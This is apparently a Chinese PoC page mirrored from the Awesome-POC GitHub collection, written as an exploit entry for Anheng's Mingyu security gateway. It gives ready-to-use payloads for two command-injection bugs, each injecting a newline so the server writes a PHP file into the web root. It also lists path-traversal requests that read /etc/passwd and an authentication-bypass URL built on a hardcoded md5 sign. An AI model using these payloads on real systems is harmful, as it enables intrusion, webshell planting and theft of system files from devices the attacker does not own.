mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-08 12:25:11 +00:00
100 lines
2.5 KiB
Markdown
100 lines
2.5 KiB
Markdown
|
# 安恒 明御安全网关 命令执行 任意文件读取漏洞
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
安恒信息明御安全网关存在命令执行漏洞，导致攻击者可以直接执行系统命令，从而控制目标系统。
|
|||
|
|
|
|||
|
|
## 漏洞分析
|
|||
|
|
|
|||
|
|
参考阅读：
|
|||
|
|
|
|||
|
|
- https://r0fus0d.blog.ffffffff0x.com/post/oem-case/
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
### 命令执行 1
|
|||
|
|
|
|||
|
|
漏洞 URL：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
/webui/?g=aaa_portal_auth_local_submit&suffix=
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
poc：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
/webui/?g=aaa_portal_auth_local_submit&suffix=%0aecho%20%27%3C%3Fphp%20echo%20%22test%20-%20Open%20source%20project%20%28github.com%2Ftest%2Ftest%29%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2F111111112.php&bkg_flag=0
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### 命令执行 2
|
|||
|
|
|
|||
|
|
漏洞 URL：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
/webui/?g=aaa_portal_auth_config_reset&type=
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
poc：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
/webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22test%20-%20Open%20source%20project%20%28github.com%2Ftest%2Ftest%29%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2F111111111.php%0a
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### 任意文件读取
|
|||
|
|
|
|||
|
|
poc：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
requests:
|
|||
|
|
- method: GET
|
|||
|
|
path:
|
|||
|
|
- "{{BaseURL}}/webui/?g=sys_dia_data_down&file_name=../etc/passwd"
|
|||
|
|
- "{{BaseURL}}/webui/?g=sys_dia_data_check&file_name=../../../../../../../../etc/passwd"
|
|||
|
|
- "{{BaseURL}}/webui/?g=sys_capture_file_download&name=../../../../../../../../etc/passwd"
|
|||
|
|
- "{{BaseURL}}/webui/?g=sys_corefile_sysinfo_download&name=../../../../../../../../etc/passwd"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### 验证码绕过
|
|||
|
|
|
|||
|
|
poc：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
/remote_auth.php?user=admin&pwd=admin&sign=ba84d9dd91eb304aca57f0a8f052623e
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
其中 sign 硬编码在 `/usr/local/webui/remote_auth.php` 中：
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
if($_GET['user']!=null) $usr = formatget($_GET['user']);
|
|||
|
|
if($_GET['pwd']!=null) $pwd = formatget($_GET['pwd']);
|
|||
|
|
if($_GET['sign']!=null) $sign = formatget($_GET['sign']);
|
|||
|
|
$key= 'saplingos!@#$%^&*';//这个key你们协商后保存一致即可
|
|||
|
|
//ba84d9dd91eb304aca57f0a8f052623e
|
|||
|
|
if(empty($usr)){
|
|||
|
|
die('user_null');
|
|||
|
|
}
|
|||
|
|
else if(empty($pwd)){
|
|||
|
|
die('pwd_null');
|
|||
|
|
}
|
|||
|
|
else if (!$sign){
|
|||
|
|
die('sign_null');
|
|||
|
|
}
|
|||
|
|
else if ($sign != md5($key)){
|
|||
|
|
die('sign_error');
|
|||
|
|
}
|
|||
|
|
else{
|
|||
|
|
if (isset($usr, $pwd)) {
|
|||
|
|
LoginHandler::login($usr, $pwd, $num,'',$remote_auth = true);
|
|||
|
|
}
|
|||
|
|
$fail_msg = '';
|
|||
|
|
if (LoginHandler::isLoginFail()) {
|
|||
|
|
$fail_msg = $_SESSION[ERROR_STR];
|
|||
|
|
if (strlen($fail_msg) <= 0) {
|
|||
|
|
$fail_msg = LocalUtil::getCommonResource('login_failed');
|
|||
|
|
}
|
|||
|
|
die($fail_msg);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
可以通过任意文件读取漏洞读取 key，然后进行爆破。
|